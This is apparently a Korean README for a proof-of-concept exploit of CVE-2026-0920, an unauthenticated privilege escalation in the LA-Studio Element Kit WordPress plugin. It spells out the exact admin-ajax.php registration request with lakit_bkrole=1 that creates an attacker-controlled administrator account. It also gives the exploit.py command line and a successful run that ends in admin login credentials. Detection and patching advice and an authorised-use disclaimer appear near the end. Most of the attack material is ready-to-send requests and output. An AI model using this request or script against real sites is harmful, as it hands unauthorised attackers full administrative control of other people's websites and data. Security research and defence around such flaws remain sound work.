
CVE-2026-0920에 대한 개념 증명 익스플로잇으로, LA-Studio Element Kit WordPress 플러그인의 인증되지 않은 권한 상승 취약점으로 관리자 계정 생성이 가능합니다.
CVE-2026-0920에 대한 개념 증명 익스플로잇으로, LA-Studio Element Kit WordPress 플러그인의 인증되지 않은 권한 상승 취약점입니다.
이 취약점은 인증되지 않은 공격자가 플러그인의 등록 기능을 악용하여 관리자 권한을 가진 WordPress 계정을 생성할 수 있게 합니다.
이 저장소에는 공인된 보안 연구, 취약점 검증 및 통제된 실험실 환경을 위해 설계된 Python 개념 증명이 포함되어 있습니다.
| 속성 | 값 |
|---|---|
| CVE | CVE-2026-0920 |
| 공급업체 | LA-Studio |
| 제품 | Element Kit |
| 플랫폼 | WordPress |
| 취약점 | 인증되지 않은 권한 상승 |
| 인증 필요 여부 | 아니요 |
| CWE | CWE-269 |
| 영향 | 관리자 계정 생성 |
| PoC | exploit.py |
이 취약점은 플러그인의 등록 기능에 존재하며, 공격자가 제어하는 등록 데이터가 새로 생성된 WordPress 계정에 할당되는 권한에 영향을 줄 수 있습니다.
취약한 매개변수는 다음과 같습니다:
lakit_bkrole
등록 중에 상승된 역할 값을 제공함으로써, 인증되지 않은 공격자는 새로 생성된 계정이 WordPress 관리자 권한을 받도록 할 수 있습니다.
LA-Studio Element Kit는 AJAX 기반 등록 핸들러를 통해 사용자를 등록하는 기능을 제공합니다.
취약한 흐름은 다음을 통해 등록 메커니즘을 노출합니다:
/wp-admin/admin-ajax.php
요청은 다음 AJAX 작업을 사용합니다:
lakit_ajax
그리고 다음을 사용하여 등록 작업을 수행합니다:
{
"action": "register"
}
보안 문제는 서버 측 등록 로직이 인증되지 않은 클라이언트가 다음을 통해 권한 있는 역할 값을 제공하는 것을 제대로 방지하지 못하기 때문에 발생합니다:
lakit_bkrole=1
따라서 공격자는 administrator 역할을 가진 WordPress 계정 생성으로 이어지는 등록 요청을 구성할 수 있습니다.
공격을 수행하는 데 기존 WordPress 계정은 필요하지 않습니다.
PoC는 3단계 프로세스를 수행합니다:
┌──────────────────────┐
│ 부트스트랩 엔드포인트 │
│ │
│ nonce 및 플러그인 │
│ 정보 획득 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 등록 요청 │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 검증 │
│ │
│ 생성된 사용자 찾기 │
│ 관리자 역할 확인 │
└──────────────────────┘
익스플로잇은 등록 응답에만 의존하지 않습니다.
대신 새로 생성된 계정이 실제로 존재하고 관리자 권한을 가지고 있는지 확인합니다.
첫 번째 요청은 다음을 대상으로 합니다:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
예시:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
취약한 실험실 인스턴스는 다음을 반환할 수 있습니다:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
PoC는 다음에서 nonce를 추출합니다:
"nonce": "577023f674"
그런 다음 nonce는 등록 요청에 제공됩니다.
부트스트랩 응답은 현재 등록된 사용자도 노출할 수 있으며, 이를 통해 PoC는 익스플로잇 전후의 사용자 목록을 비교할 수 있습니다.
PoC는 등록 요청을 다음으로 보냅니다:
/wp-admin/admin-ajax.php
요청은 다음을 사용합니다:
action=lakit_ajax
중첩된 등록 작업과 함께:
action=register
대표적인 요청은 다음과 같습니다:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
관련 등록 데이터는 다음과 같습니다:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
보안에 민감한 매개변수는 다음과 같습니다:
lakit_bkrole=1
요청은 인증된 WordPress 세션 없이 수행됩니다.
성공적인 등록 요청은 HTTP 200 OK 응답을 반환합니다.
예시:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
JSON 응답은 다음과 유사하게 구성됩니다:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
PoC는 다음을 보고합니다:
[+] User creation appears successful.
그러나 PoC는 이 응답 자체만으로는 권한 상승의 충분한 증거로 간주하지 않습니다.
계정은 다음 단계에서 검증됩니다.
등록 후 PoC는 부트스트랩 엔드포인트를 다시 요청합니다:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
응답에는 이제 새로 생성된 계정이 포함됩니다.
예시:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
핵심 증거는 다음과 같습니다:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
이는 공격자가 제어하는 계정이 관리자 권한으로 생성되었음을 확인합니다.
일반적인 인증되지 않은 등록 프로세스는 다음과 같은 제한된 역할로 계정을 생성해야 합니다:
subscriber
클라이언트가 권한 있는 WordPress 역할을 선택하도록 신뢰해서는 안 됩니다.
취약한 흐름은 효과적으로 다음을 허용합니다:
인증되지 않은 공격자
|
v
등록 엔드포인트
|
v
공격자가 제어하는 역할 매개변수
|
v
WordPress 사용자 생성
|
v
administrator
이는 사전 인증 없이 의도된 권한 경계를 넘어섭니다.
PoC에는 다음이 필요합니다:
Python 3
대상에 대한 네트워크 액세스
취약한 LA-Studio Element Kit 설치
WordPress 자격 증명은 필요하지 않습니다.
대상 주소와 포트를 사용하여 익스플로잇을 실행합니다:
python exploit.py -t 127.0.0.1 -p 8103
구문은 다음과 같습니다:
python exploit.py -t <target> -p <port>
예를 들어:
python exploit.py -t 127.0.0.1 -p 8103
성공적인 익스플로잇 실행은 다음과 같습니다:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
중요한 검증 단계는 다음과 같습니다:
[+] User creation appears successful.
그 다음:
[+] User 'eviladmin' found. Roles: ['administrator']
그리고 마지막으로:
[+] Confirmed administrator privilege!
마지막 메시지는 PoC가 단순히 성공적인 HTTP 응답을 받는 것이 아니라 권한 상승을 검증했음을 나타냅니다.
전체 PoC 실행은 다음과 같이 요약할 수 있습니다:
1. 대상 지정
|
v
2. 부트스트랩 엔드포인트 요청
|
v
3. 등록 nonce 추출
|
v
4. 기존 사용자 열거
|
v
5. 악의적인 등록 요청 제출
|
v
6. 새 계정 생성
|
v
7. 부트스트랩 엔드포인트 재조회
|
v
8. 새 계정 찾기
|
v
9. 계정 역할 확인
|
v
10. administrator 권한 확인
GET /wp-json/cve-2026-0920/v1/bootstrap
목적:
- 플러그인 식별
- nonce 획득
- 등록 엔드포인트 획득
- 기존 사용자 기록
POST /wp-admin/admin-ajax.php
중요한 매개변수:
action=lakit_ajax
_nonce=<nonce>
actions=<등록 JSON>
등록 데이터:
username=<공격자가 제어하는 사용자 이름>
email=<공격자가 제어하는 이메일>
password=<공격자가 제어하는 비밀번호>
password-confirm=<공격자가 제어하는 비밀번호>
lakit_bkrole=1
목적:
공격자가 제어하는 계정 생성.
GET /wp-json/cve-2026-0920/v1/bootstrap
목적:
- 계정 존재 확인
- 계정 역할 검사
- 관리자 권한 검증
응답에 생성된 계정이 다음과 함께 포함되면 성공적인 익스플로잇이 확인됩니다:
"roles": [
"administrator"
]
성공적인 익스플로잇은 인증되지 않은 공격자에게 WordPress 관리자 계정을 제공합니다.
WordPress 설치에 따라 관리자 액세스는 공격자가 다음을 수행할 수 있게 합니다:
- 사이트 콘텐츠 수정
- 추가 권한 있는 계정 생성
- 플러그인 수정
- 테마 수정
- WordPress 설정 변경
- 권한 있는 관리 기능 액세스
- 애플리케이션 데이터 수정
- 사용 가능한 WordPress 기능을 통해 서버 측 코드 실행 가능성
최종 영향은 호스팅 구성, 활성화된 플러그인, WordPress 보안 제어 및 사용 가능한 관리 기능에 따라 달라집니다.
방어자는 다음을 포함하는 예기치 않은 요청을 모니터링해야 합니다:
/wp-admin/admin-ajax.php
다음과 결합된:
action=lakit_ajax
그리고 다음을 포함하는 등록 요청:
lakit_bkrole
예기치 않은 WordPress 관리자 계정도 조사해야 합니다.
특히 유용한 방어적 검사는 최근에 생성된 계정을 감사하고 타임스탬프와 역할을 합법적인 관리 활동과 비교하는 것입니다.
주요 완화 조치는 보안 수정이 포함된 버전으로 LA-Studio Element Kit를 업데이트하는 것입니다.
관리자는 또한 다음을 수행해야 합니다:
- 기존 관리자 계정 검토
- 승인되지 않은 계정 제거
- 최근 WordPress 사용자 생성 감사
- 의심스러운 admin-ajax 요청 모니터링
- WordPress 관리 기능의 불필요한 노출 제한
- WordPress 및 설치된 플러그인을 최신 상태로 유지
손상이 의심되는 경우 영향을 받은 WordPress 자격 증명을 교체하고 추가적인 승인되지 않은 수정 사항이 있는지 조사하십시오.
PoC는 다음이 포함된 통제된 실험실 환경에서 테스트되었습니다:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
성공적인 테스트 결과:
User: eviladmin
Role: administrator
이 프로젝트는 공인된 보안 연구, 취약점 검증 및 교육용 실험실 사용을 위해 제공됩니다.
소유하거나 평가할 명시적 권한이 있는 시스템만 테스트하십시오.
승인 없이 이 PoC를 시스템에 사용하지 마십시오.